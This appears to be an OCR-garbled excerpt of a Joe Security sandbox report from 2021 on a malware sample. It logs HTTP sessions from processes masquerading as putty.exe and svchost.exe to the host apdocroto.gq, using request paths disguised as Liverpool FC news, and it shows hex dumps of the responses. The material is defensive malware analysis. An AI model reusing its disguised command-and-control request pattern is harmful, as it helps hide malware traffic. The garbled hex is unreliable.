67 65 6e 65 72 61 74 65 64 20 69 6e 20 73 65 63 74 69 6f 6e 3a 20 33 30 39 38 34 37 37 0d Oa 2d 2d 3e 0d Oa 3c 68 65
61 64 3e 0d 0a 3c 6¢ 69 6e 6b 20 72 65 6¢ 3d 22 64 6e 73 2d 70 72 65 66 65 74 63 68 22 20 68 72 65 66 3d 22 68 74 74
70 73 3a 2f 2f 73 32 2d 70 72 6f 64 2e 6¢ 69 76 65 72 70 6f 6f 6¢ 2e 63 6f 6d 22 3e 3¢ 6¢ 69 6e 6b 20 72 65 6¢ 3d 22 70 72
65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 32 2d 70 72 6f 64 2e 6¢ 69 76 65 72 70 6f 6f
6¢ 2e 63 6f 6d 22 3e 3c 6¢ 69 6e 6b 20 72 65 6¢ 3d 22 64 6e 73 2d 70 72 65 66 65 74 63 68 22 20 68 72 65 66 3d 22 68
74 74 70 73 3a 2f 2f 69 32 2d 70 72 6f 64 2e 6¢ 69 76 65 72 70 6f 6f 6¢ 2e 63 6f 6d 22 3e 3¢ 6¢ 69 6e 6b 20 72 65 6¢ 3d 22
70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 69 32 2d 70 72 6f 64 2e 6¢ 69 76 65 72 70
6f 6f 6¢ 2e 63 6f 6d 22 3e 3c 6¢ 69 6e 6b 20 72 65 6¢ 3d 22 64 6e 73 2d 70 72 65 66 65 74 63 68 22 20 68 72 65 66 3d 22
68 74 74 70 73 3a 2f 2f 66 65 6¢ 69 78 2e 64 61 74 61 2e 74 6d 2d 61 77 78 2e 63 6f 6d 22 3e 3c 6¢ 69 6e 6b 20 72 65 6¢
3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 65 6¢ 69

Data Ascii: 1d3d<!DOCTYPE html><html lang="en">...page generated at: Thu Mar 04 16:20:02 GMT 2021page generated
by escenic.server/hostname: reg-pres206.tm-aws.com/reg-pres206.tm-aws.compage generated in section: 3098477-->
<head><link rel="dns-prefetch" href="https://s2-prod.liverpool.com"><link rel="preconnect" href="https://s2-prod.liver
pool.com"><link rel="dns-prefetch" href="https://i2-prod.liverpool.com"><link rel="preconnect" href="https://i2-prod.liv
erpool.com"><link rel="dns-prefetch" href="https://felix.data.tm-awx.com"><link rel="preconnect" href="https://feli

Destination IP Destination Port Process

104.21.14.60 80 C:\Users\user\AppData\Roaming\putty.exe
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kBytes

Timestamp transferred Direction
Jun 16, 2021 4026 ouT
12:05:14.106758118 CEST

Jun 16, 2021 4027 IN
12:05:14.481699944 CEST

Jun 16, 2021 5310 ouT

12:05:17.318262100 CEST

Copyright Joe Security LLC 2021

Data

GET /liverpool-fc-news/features/steven-gerrard-liverpool-future-dalglish--goal-CC63E54262373453B19DBF613B3334D
E.html HTTP/1.1

Accept: application/json

UserAgent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.106 Safari/
537.36 OPR/38.0.2220.41

Authorization: Bearer {token}

Host: apdocroto.gq

Connection: Keep-Alive

HTTP/1.1 200 OK

Date: Wed, 16 Jun 2021 10:05:14 GMT

Content-Type: text/html

Transfer-Encoding: chunked

Connection: keep-alive

Last-Modified: Wed, 16 Jun 2021 02:15:31 GMT

Vary: Accept-Encoding

X-Frame-Options: SAMEORIGIN

CF-Cache-Status: DYNAMIC

cf-request-id: 0ab5e14c1b00004dc4dc96d000000001

Report-To: {"endpoints":[{"url":"https:VVa.nel.cloudflare.com\/report\/v2?s=1qg7CqHAfgNfpS6 SIORW8luwMdxBIMIWJ
%2FFucdN39alLuNd%2FAhPN3hxRVNAJgTx3LtSc9%2FFrJEEqay%2FHZNsLNo7PspG3%2Bcifbwql8FITOkjrbIWTd
nugNwutt"}],"group™:"cf-nel","max_age":604800}

NEL: {"report_to":"cf-nel","max_age":604800}

Server: cloudflare

CF-RAY: 660337f359ea4dc4-FRA

alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400

Data Raw: 31 64 33 64 0d Oa 0d Oa 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6¢ 3e 0d Oa 3c 68 74 6d 6¢ 20 6¢ 61 6e 67 3d
22 65 6e 22 3e 0d Oa 3c 21 2d 2d 0d Oa 70 61 67 65 20 67 65 6e 65 72 61 74 65 64 20 61 74 3a 20 54 68 75 20 4d 61 72
203034 20 31 36 3a 32 30 3a 30 32 20 47 4d 54 20 32 30 32 31 0d Oa 70 61 67 65 20 67 65 6e 65 72 61 74 65 64 20 62
7920 65 73 63 65 6e 69 63 2e 73 65 72 76 65 72 2f 68 6f 73 74 6e 61 6d 65 3a 20 72 65 67 2d 70 7265 73 32 30 36 2e 7
46d 2d 61 77 73 2e 63 6f 6d 2f 72 65 67 2d 70 72 65 73 32 30 36 2e 74 6d 2d 61 77 73 2e 63 6f 6d 0d Oa 70 61 67 65 20
67 65 6e 6572 61 74 65 64 20 69 6e 20 73 65 63 74 69 6f 6e 3a 20 33 30 39 38 34 37 37 0d Oa 2d 2d 3e 0d Oa 3c 68 65
61 64 3e 0d Oa 3c 6¢ 69 6e 6b 20 72 65 6¢ 3d 22 64 6e 73 2d 70 72 65 66 65 74 63 68 22 20 68 72 65 66 3d 22 68 74 74
70 73 3a 2f 2f 73 32 2d 70 72 6f 64 2e 6¢ 69 76 65 72 70 6f 6f 6¢ 2e 63 6f 6d 22 3e 3c 6¢ 69 6e 6b 20 72 65 6¢ 3d 22 70 72
65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 32 2d 70 72 6f 64 2e 6¢ 69 76 65 72 70 6f 6f
6¢c 2e 63 6f 6d 22 3e 3c 6¢ 69 6e 6b 20 72 65 6¢ 3d 22 64 6e 73 2d 70 72 65 66 65 74 63 68 22 20 68 72 65 66 3d 22 68
747470 73 3a 2f 2f 69 32 2d 70 72 6f 64 2e 6¢ 69 76 65 72 70 6f 6f 6¢ 2e 63 6f 6d 22 3e 3c 6¢ 69 6e 6b 20 72 65 6¢ 3d 22
70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 69 32 2d 70 72 6f 64 2e 6¢ 69 76 65 72 70
6f 6f 6¢ 2e 63 6f 6d 22 3e 3c 6¢ 69 6e 6b 20 72 65 6¢ 3d 22 64 6e 73 2d 70 72 65 66 65 74 63 68 22 20 68 72 65 66 3d 22
68 74 74 70 73 3a 2f 2f 66 65 6¢ 69 78 2e 64 61 74 61 2e 74 6d 2d 61 77 78 2e 63 6f 6d 22 3e 3c 6¢ 69 6e 6b 20 72 65 6¢C
3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 65 6¢ 69 78 2e

Data Ascii: 1d3d<!DOCTYPE html><html lang="en">...page generated at: Thu Mar 04 16:20:02 GMT 2021page generated
by escenic.server/hostname: reg-pres206.tm-aws.com/reg-pres206.tm-aws.compage generated in section: 3098477-->
<head><link rel="dns-prefetch" href="https://s2-prod.liverpool.com"><link rel="preconnect" href="https://s2-prod.liver
pool.com"><link rel="dns-prefetch" href="https://i2-prod.liverpool.com"><link rel="preconnect" href="https://i2-prod.liv
erpool.com"><link rel="dns-prefetch" href="https://felix.data.tm-awx.com"><link rel="preconnect" href="https://felix.

GET /liverpool-fc-news/features/steven-gerrard-liverpool-future-dalglish--goal-0B579F7D05D398DAB455F9EFDAAC369
5.html HTTP/1.1

Accept: application/json

UserAgent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.106 Safari/
537.36 OPR/38.0.2220.41

Authorization: Bearer {token}

Host: apdocroto.gq
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kBytes
Timestamp transferred

Jun 16, 2021 5311
12:05:17.681958914 CEST

Jun 16, 2021 6596
12:05:22.968539953 CEST

Jun 16, 2021 6598
12:05:23.175766945 CEST

Session ID Source IP

3 192.168.2.22

Copyright Joe Security LLC 2021

Direction

IN

ouT

Source Port

49169

Data

HTTP/1.1 200 OK

Date: Wed, 16 Jun 2021 10:05:17 GMT

Content-Type: text/html

Transfer-Encoding: chunked

Connection: keep-alive

Last-Modified: Wed, 16 Jun 2021 02:15:31 GMT

Vary: Accept-Encoding

X-Frame-Options: SAMEORIGIN

CF-Cache-Status: DYNAMIC

cf-request-id: 0ab5e158a600004dc4ad271000000001

Report-To: {"endpoints":[{"url":"https:VVa.nel.cloudflare.com\/report\/v2?s=uS7wtTKbglwUvwnRdxnKRpyzTy9ar6 KM
yBT1GjRa%2FCIXFFz7CokQtI6G1ALQCK%2BXYUk8eX592IjkUsR%2FKUBA35VENXICX7IKYndbTyuCVTecJUdU1tlo
skgF"}],"group™:"cf-nel","max_age":604800}

NEL: {"report_to":"cf-nel","max_age":604800}

Server: cloudflare

CF-RAY: 660338077dd84dc4-FRA

alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400

Data Raw: 31 64 33 64 0d Oa Od Oa 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6¢ 3e 0d Oa 3c 68 74 6d 6¢ 20 6c 61 6e 67 3d
22 65 6e 22 3e 0d Oa 3c 21 2d 2d 0d 0a 70 61 67 65 20 67 65 6e 65 72 61 74 65 64 20 61 74 3a 20 54 68 75 20 4d 61 72
203034 20 31 36 3a 32 30 3a 30 32 20 47 4d 54 20 32 30 32 31 0d Oa 70 61 67 65 20 67 65 6e 65 72 61 74 65 64 20 62
79 20 65 73 63 65 6e 69 63 2e 73 65 72 76 65 72 2f 68 6f 73 74 6e 61 6d 65 3a 20 72 65 67 2d 70 72 65 73 32 30 36 2e 7
4 6d 2d 61 77 73 2e 63 6f 6d 2f 72 65 67 2d 70 72 65 73 32 30 36 2e 74 6d 2d 61 77 73 2e 63 6f 6d Od Oa 70 61 67 65 20
67 65 6e 65 72 61 74 65 64 20 69 6e 20 73 65 63 74 69 6f 6e 3a 20 33 30 39 38 34 37 37 0d Oa 2d 2d 3e 0d Oa 3c 68 65
61 64 3e 0d 0a 3c 6¢ 69 6e 6b 20 72 65 6¢ 3d 22 64 6e 73 2d 70 72 65 66 65 74 63 68 22 20 68 72 65 66 3d 22 68 74 74
70 73 3a 2f 2f 73 32 2d 70 72 6f 64 2e 6¢ 69 76 65 72 70 6f 6f 6¢ 2e 63 6f 6d 22 3e 3¢ 6¢ 69 6e 6b 20 72 65 6¢ 3d 22 70 72
65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 32 2d 70 72 6f 64 2e 6¢ 69 76 65 72 70 6f 6f
6c 2e 63 6f 6d 22 3e 3c 6¢ 69 6e 6b 20 72 65 6¢ 3d 22 64 6e 73 2d 70 72 65 66 65 74 63 68 22 20 68 72 65 66 3d 22 68
7474 70 73 3a 2f 2f 69 32 2d 70 72 6f 64 2e 6¢ 69 76 65 72 70 6f 6f 6¢ 2e 63 6f 6d 22 3e 3c 6¢ 69 6e 6b 20 72 65 6¢ 3d 22
70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 69 32 2d 70 72 6f 64 2e 6¢ 69 76 65 72 70
6f 6f 6¢ 2e 63 6f 6d 22 3e 3c 6¢ 69 6e 6b 20 72 65 6¢ 3d 22 64 6e 73 2d 70 72 65 66 65 74 63 68 22 20 68 72 65 66 3d 22
68 74 74 70 73 3a 2f 2f 66 65 6¢ 69 78 2e 64 61 74 61 2e 74 6d 2d 61 77 78 2e 63 6f 6d 22 3e 3c 6¢ 69 6e 6b 20 72 65 6¢C
3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 65 6¢ 69 78 2e 64 61 74 61

Data Ascii: 1d3d<!DOCTYPE html><html lang="en">...page generated at: Thu Mar 04 16:20:02 GMT 2021page generated
by escenic.server/hostname: reg-pres206.tm-aws.com/reg-pres206.tm-aws.compage generated in section: 3098477-->
<head><link rel="dns-prefetch" href="https://s2-prod.liverpool.com"><link rel="preconnect" href="https://s2-prod.liver
pool.com"><link rel="dns-prefetch" href="https://i2-prod.liverpool.com"><link rel="preconnect" href="https://i2-prod.liv
erpool.com"><link rel="dns-prefetch" href="https://felix.data.tm-awx.com"><link rel="preconnect" href="https://felix.data

GET /liverpool-fc-news/features/steven-gerrard-liverpool-future-dalglish--goal-73850014335AB72CBE7866A38A201CD
2.html HTTP/1.1

Accept: application/json

UserAgent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.106 Safari/
537.36 OPR/38.0.2220.41

Authorization: Bearer {token}

Host: apdocroto.gq

HTTP/1.1 200 OK

Date: Wed, 16 Jun 2021 10:05:23 GMT

Content-Type: text/html

Transfer-Encoding: chunked

Connection: keep-alive

Last-Modified: Wed, 16 Jun 2021 02:15:32 GMT

Vary: Accept-Encoding

X-Frame-Options: SAMEORIGIN

CF-Cache-Status: DYNAMIC

cf-request-id: 0ab5e16eb800004dc4ad0e4000000001

Report-To: {"endpoints":[{"url":"https:V\/a.nel.cloudflare.com\ireport\\v2?s=zcT40aOIRi2cxH%2FGfHUd2CdABHLNIR
SB0s%2Bk5TuuF8ctZala%2FwJIGNtBOUBWKTUWTaNSTgi4blT9k94%2BMoL0fOSRXZ%2F0ZN%2FcXa3Q
tDhGd02cDOHWCKUMNPII"},“group™:“cf-nel","max_age":604800}

NEL: {"report_to":"cf-nel","max_age":604800}

Server: cloudflare

CF-RAY: 6603382acdcf4dc4-FRA

alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400

Data Raw: 31 64 33 64 0d Oa 0d Oa 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6¢ 3e 0d Oa 3c 68 74 6d 6¢ 20 6¢ 61 6e 67 3d
22 65 6e 22 3e 0d 0a 3c 21 2d 2d 0d 0a 70 61 67 65 20 67 65 6e 65 72 61 74 65 64 20 61 74 3a 20 54 68 75 20 4d 61 72
20 3034 20 31 36 3a 32 30 3a 30 32 20 47 4d 54 20 32 30 32 31 0d Oa 70 61 67 65 20 67 65 6e 65 72 61 74 65 64 20 62
79 20 65 73 63 65 6e 69 63 2e 73 65 72 76 65 72 2f 68 6f 73 74 6e 61 6d 65 3a 20 72 65 67 2d 70 72 65 73 32 30 36 2e 7
4 6d 2d 61 77 73 2e 63 6f 6d 2f 72 65 67 2d 70 72 65 73 32 30 36 2e 74 6d 2d 61 77 73 2e 63 6f 6d 0d Oa 70 61 67 65 20
67 65 6e 65 72 61 74 65 64 20 69 6e 20 73 65 63 74 69 6f 6e 3a 20 33 30 39 38 34 37 37 0d Oa 2d 2d 3e 0d Oa 3c 68 65
61 64 3e 0d 0a 3c 6¢ 69 6e 6b 20 72 65 6¢ 3d 22 64 6e 73 2d 70 72 65 66 65 74 63 68 22 20 68 72 65 66 3d 22 68 74 74
70 73 3a 2f 2f 73 32 2d 70 72 6f 64 2e 6¢ 69 76 65 72 70 6f 6f 6¢ 2e 63 6f 6d 22 3e 3¢ 6¢ 69 6e 6b 20 72 65 6¢ 3d 22 70 72
65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 32 2d 70 72 6f 64 2e 6¢ 69 76 65 72 70 6f 6f
6¢ 2e 63 6f 6d 22 3e 3c 6¢ 69 6e 6b 20 72 65 6¢ 3d 22 64 6e 73 2d 70 72 65 66 65 74 63 68 22 20 68 72 65 66 3d 22 68
74 74 70 73 3a 2f 2f 69 32 2d 70 72 6f 64 2e 6¢ 69 76 65 72 70 6f 6f 6¢ 2e 63 6f 6d 22 3e 3¢ 6¢ 69 6e 6b 20 72 65 6¢ 3d 22
70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 69 32 2d 70 72 6f 64 2e 6¢ 69 76 65 72 70
6f 6f 6¢ 2e 63 6f 6d 22 3e 3c 6¢ 69 6e 6b 20 72 65 6¢ 3d 22 64 6e 73 2d 70 72 65 66 65 74 63 68 22 20 68 72 65 66 3d 22
68 74 74 70 73 3a 2f 2f 66 65 6¢ 69 78 2e 64 61 74 61 2e 74 6d 2d 61 77 78 2e 63 6f 6d 22 3e 3c 6¢ 69 6e 6b 20 72 65 6¢
3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 65 6¢ 69

Data Ascii: 1d3d<!DOCTYPE html><html lang="en">...page generated at: Thu Mar 04 16:20:02 GMT 2021page generated
by escenic.server/hostname: reg-pres206.tm-aws.com/reg-pres206.tm-aws.compage generated in section: 3098477-->
<head><link rel="dns-prefetch" href="https://s2-prod.liverpool.com"><link rel="preconnect" href="https://s2-prod.liver
pool.com"><link rel="dns-prefetch" href="https://i2-prod.liverpool.com"><link rel="preconnect" href="https://i2-prod.liv
erpool.com"><link rel="dns-prefetch" href="https://felix.data.tm-awx.com"><link rel="preconnect" href="https://feli

Destination IP Destination Port Process

172.67.158.27 80 C:\Windows\Resources\Themes\Aero\Shell\52V57U7\svchost.exe
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kBytes

Timestamp transferred Direction
Jun 16, 2021 7824 ouT
12:05:52.058926105 CEST

Jun 16, 2021 7825 IN
12:05:52.424865007 CEST

Jun 16, 2021 9111 ouT

12:05:56.706939936 CEST

Copyright Joe Security LLC 2021

Data

GET /liverpool-fc-news/features/steven-gerrard-liverpool-future-dalglish--goal-CC63E54262373453B19DBF613B3334D
E.html HTTP/1.1

Accept: application/json

UserAgent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.106 Safari/
537.36 OPR/38.0.2220.41

Authorization: Bearer {token}

Host: apdocroto.gq

Connection: Keep-Alive

HTTP/1.1 200 OK

Date: Wed, 16 Jun 2021 10:05:52 GMT

Content-Type: text/html

Transfer-Encoding: chunked

Connection: keep-alive

Last-Modified: Wed, 16 Jun 2021 02:15:31 GMT

Vary: Accept-Encoding

X-Frame-Options: SAMEORIGIN

CF-Cache-Status: DYNAMIC

cf-request-id: 0ab5e1e05b000017666da2e000000001

Report-To: {"endpoints":[{"url":"https:VVa.nel.cloudflare.com\/report\/v2?s=S7Kfa5ErXeNXIIJdPR9Ici4e06 ZxJwYP
hCyEsdW4yAxWq0Y3zESBktvb%2B4JEVUR%2FtTtLoZ3sdV3Gg1%2FGQsIFyFEpsIDP8k2gb83SAOIIYw6qkcIJQCVDU
Y1yu"}],"group”:"cf-nel","max_age":604800}

NEL: {"report_to":"cf-nel","max_age":604800}

Server: cloudflare

CF-RAY: 660338e09fc61766-FRA

alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400

Data Raw: 31 64 33 64 0d Oa 0d Oa 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6¢ 3e 0d Oa 3c 68 74 6d 6¢ 20 6¢ 61 6e 67 3d
22 65 6e 22 3e 0d Oa 3c 21 2d 2d 0d Oa 70 61 67 65 20 67 65 6e 65 72 61 74 65 64 20 61 74 3a 20 54 68 75 20 4d 61 72
203034 20 31 36 3a 32 30 3a 30 32 20 47 4d 54 20 32 30 32 31 0d Oa 70 61 67 65 20 67 65 6e 65 72 61 74 65 64 20 62
7920 65 73 63 65 6e 69 63 2e 73 65 72 76 65 72 2f 68 6f 73 74 6e 61 6d 65 3a 20 72 65 67 2d 70 7265 73 32 30 36 2e 7
46d 2d 61 77 73 2e 63 6f 6d 2f 72 65 67 2d 70 72 65 73 32 30 36 2e 74 6d 2d 61 77 73 2e 63 6f 6d 0d Oa 70 61 67 65 20
67 65 6e 65 72 61 74 65 64 20 69 6e 20 73 65 63 74 69 6f 6e 3a 20 33 30 39 38 34 37 37 0d Oa 2d 2d 3e 0d Oa 3c 68 65
61 64 3e 0d Oa 3c 6¢ 69 6e 6b 20 72 65 6¢ 3d 22 64 6e 73 2d 70 72 65 66 65 74 63 68 22 20 68 72 65 66 3d 22 68 74 74
70 73 3a 2f 2f 7332 2d 70 72 6f 64 2e 6¢ 69 76 65 72 70 6f 6f 6¢ 2e 63 6f 6d 22 3e 3c 6¢ 69 6e 6b 20 72 65 6¢ 3d 22 70 72
65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 32 2d 70 72 6f 64 2e 6¢ 69 76 65 72 70 6f 6f
6¢C 2e 63 6f 6d 22 3e 3c 6¢ 69 6e 6b 20 72 65 6¢ 3d 22 64 6e 73 2d 70 72 65 66 65 74 63 68 22 20 68 72 65 66 3d 22 68
7474 70 73 3a 2f 2f 69 32 2d 70 72 6f 64 2e 6¢ 69 76 65 72 70 6f 6f 6¢ 2e 63 6f 6d 22 3e 3c 6¢ 69 6e 6b 20 72 65 6¢ 3d 22
70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 69 32 2d 70 72 6f 64 2e 6¢ 69 76 65 72 70
6f 6f 6¢ 2e 63 6f 6d 22 3e 3c 6¢ 69 6e 6b 20 72 65 6¢ 3d 22 64 6e 73 2d 70 72 65 66 65 74 63 68 22 20 68 72 65 66 3d 22
68 74 74 70 73 3a 2f 2f 66 65 6¢ 69 78 2e 64 61 74 61 2e 74 6d 2d 61 77 78 2e 63 6f 6d 22 3e 3c 6¢ 69 6e 6b 20 72 65 6¢C
3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 65 6¢ 69 78 2e 64 61 74 61

Data Ascii: 1d3d<!DOCTYPE html><html lang="en">...page generated at: Thu Mar 04 16:20:02 GMT 2021page generated
by escenic.server/hostname: reg-pres206.tm-aws.com/reg-pres206.tm-aws.compage generated in section: 3098477-->
<head><link rel="dns-prefetch" href="https://s2-prod.liverpool.com"><link rel="preconnect" href="https://s2-prod.liver
pool.com"><link rel="dns-prefetch" href="https://i2-prod.liverpool.com"><link rel="preconnect" href="https://i2-prod.liv
erpool.com"><link rel="dns-prefetch" href="https://felix.data.tm-awx.com"><link rel="preconnect" href="https://felix.data

GET /liverpool-fc-news/features/steven-gerrard-liverpool-future-dalglish--goal-0B579F7D05D398DAB455F9EFDAAC369
5.html HTTP/1.1

Accept: application/json

UserAgent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.106 Safari/
537.36 OPR/38.0.2220.41

Authorization: Bearer {token}

Host: apdocroto.gq
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kBytes
Timestamp transferred

Jun 16, 2021 9112
12:05:57.059961081 CEST

Jun 16, 2021 14392
12:06:11.656105042 CEST

Jun 16, 2021 14394
12:06:12.023540974 CEST

Session ID Source IP

4 192.168.2.22

Copyright Joe Security LLC 2021

Direction

IN

ouT

Source Port

49170

Data

HTTP/1.1 200 OK

Date: Wed, 16 Jun 2021 10:05:57 GMT

Content-Type: text/html

Transfer-Encoding: chunked

Connection: keep-alive

Last-Modified: Wed, 16 Jun 2021 02:15:31 GMT

Vary: Accept-Encoding

X-Frame-Options: SAMEORIGIN

CF-Cache-Status: DYNAMIC

cf-request-id: 0ab5e1f2830000176681b5a000000001

Report-To: {"endpoints":[{"url":"https:VVa.nel.cloudflare.com\/report\/\v2?s=nmZ7VO0A7m6p6iLuploVaCg8%2FtW0O %2
BAWTMjORVQeMUNL5J9561ZnZ7SNOw2tGdNII2LX7YUbnQaKa3MUO05IQsnAL7J%2BRP1YKs4yKxTs622LxH%2F374
FUQKOF"}],"group":"cf-nel","max_age":604800}

NEL: {"report_to":"cf-nel","max_age":604800}

Server: cloudflare

CF-RAY: 660338fd9ce31766-FRA

alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400

Data Raw: 31 35 30 66 0d Oa Od Oa 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d Oa 3c 68 74 6d 6¢ 20 6c 61 6e 67 3d
22 65 6e 22 3e 0d Oa 3c 21 2d 2d 0d Oa 70 61 67 65 20 67 65 6e 65 72 61 74 65 64 20 61 74 3a 20 54 68 75 20 4d 61 72
203034 20 31 36 3a 32 30 3a 30 32 20 47 4d 54 20 32 30 32 31 0d Oa 70 61 67 65 20 67 65 6e 65 72 61 74 65 64 20 62
79 20 65 73 63 65 6e 69 63 2e 73 65 72 76 65 72 2f 68 6f 73 74 6e 61 6d 65 3a 20 72 65 67 2d 70 72 65 73 32 30 36 2e 7
4 6d 2d 61 77 73 2e 63 6f 6d 2f 72 65 67 2d 70 72 65 73 32 30 36 2e 74 6d 2d 61 77 73 2e 63 6f 6d Od Oa 70 61 67 65 20
67 65 6e 65 72 61 74 65 64 20 69 6e 20 73 65 63 74 69 6f 6e 3a 20 33 30 39 38 34 37 37 0d Oa 2d 2d 3e 0d Oa 3c 68 65
61 64 3e 0d 0a 3c 6¢ 69 6e 6b 20 72 65 6¢ 3d 22 64 6e 73 2d 70 72 65 66 65 74 63 68 22 20 68 72 65 66 3d 22 68 74 74
70 73 3a 2f 2f 73 32 2d 70 72 6f 64 2e 6¢ 69 76 65 72 70 6f 6f 6¢ 2e 63 6f 6d 22 3e 3¢ 6¢ 69 6e 6b 20 72 65 6¢ 3d 22 70 72
65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 32 2d 70 72 6f 64 2e 6¢ 69 76 65 72 70 6f 6f
6c 2e 63 6f 6d 22 3e 3c 6¢ 69 6e 6b 20 72 65 6¢ 3d 22 64 6e 73 2d 70 72 65 66 65 74 63 68 22 20 68 72 65 66 3d 22 68
7474 70 73 3a 2f 2f 69 32 2d 70 72 6f 64 2e 6¢ 69 76 65 72 70 6f 6f 6¢ 2e 63 6f 6d 22 3e 3c 6¢ 69 6e 6b 20 72 65 6¢ 3d 22
70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 69 32 2d 70 72 6f 64 2e 6¢ 69 76 65 72 70
6f 6f 6¢ 2e 63 6f 6d 22 3e 3c 6¢ 69 6e 6b 20 72 65 6¢ 3d 22 64 6e 73 2d 70 72 65 66 65 74 63 68 22 20 68 72 65 66 3d 22
68 74 74 70 73 3a 2f 2f 66 65 6¢ 69 78 2e 64 61 74 61 2e 74 6d 2d 61 77 78 2e 63 6f 6d 22 3e 3c 6¢ 69 6e 6b 20 72 65 6¢C
3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 65 6¢ 69 78 2e 64 61

Data Ascii: 150f<!IDOCTYPE html><html lang="en">...page generated at: Thu Mar 04 16:20:02 GMT 2021page generated
by escenic.server/hostname: reg-pres206.tm-aws.com/reg-pres206.tm-aws.compage generated in section: 3098477-->
<head><link rel="dns-prefetch" href="https://s2-prod.liverpool.com"><link rel="preconnect" href="https://s2-prod.liver
pool.com"><link rel="dns-prefetch" href="https://i2-prod.liverpool.com"><link rel="preconnect" href="https://i2-prod.liv
erpool.com"><link rel="dns-prefetch" href="https://felix.data.tm-awx.com"><link rel="preconnect" href="https://felix.da

GET /liverpool-fc-news/features/steven-gerrard-liverpool-future-dalglish--goal-73850014335AB72CBE7866A38A201CD
2.html HTTP/1.1

Accept: application/json

UserAgent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.106 Safari/
537.36 OPR/38.0.2220.41

Authorization: Bearer {token}

Host: apdocroto.gq

HTTP/1.1 200 OK

Date: Wed, 16 Jun 2021 10:06:12 GMT

Content-Type: text/html

Transfer-Encoding: chunked

Connection: keep-alive

Last-Modified: Wed, 16 Jun 2021 02:15:32 GMT

Vary: Accept-Encoding

X-Frame-Options: SAMEORIGIN

CF-Cache-Status: DYNAMIC

cf-request-id: 0ab5e22ce800001766ch2c2000000001

Report-To: {"endpoints":[{"url":"https:V\/a.nel.cloudflare.comVireport\\v2?s=RBEd%2FCFjeoordtqMIo1%2B89wadS1V
iINEVYAFCfyVfINxfyJybK1TRm5anld95DdMbpY 11VANTXK1i807MSMLKR%2BX5Utzb2ciMDv1bqYedGk5S5Ze0vjZ
krLJ"}],"group”:"cf-nel","max_age":604800}

NEL: {"report_to":"cf-nel","max_age":604800}

Server: cloudflare

CF-RAY: 6603395b0a491766-FRA

alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400

Data Raw: 31 64 33 64 0d Oa 0d Oa 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6¢ 3e 0d Oa 3c 68 74 6d 6¢ 20 6¢ 61 6e 67 3d
22 65 6e 22 3e 0d 0a 3c 21 2d 2d 0d 0a 70 61 67 65 20 67 65 6e 65 72 61 74 65 64 20 61 74 3a 20 54 68 75 20 4d 61 72
20 3034 20 31 36 3a 32 30 3a 30 32 20 47 4d 54 20 32 30 32 31 0d Oa 70 61 67 65 20 67 65 6e 65 72 61 74 65 64 20 62
79 20 65 73 63 65 6e 69 63 2e 73 65 72 76 65 72 2f 68 6f 73 74 6e 61 6d 65 3a 20 72 65 67 2d 70 72 65 73 32 30 36 2e 7
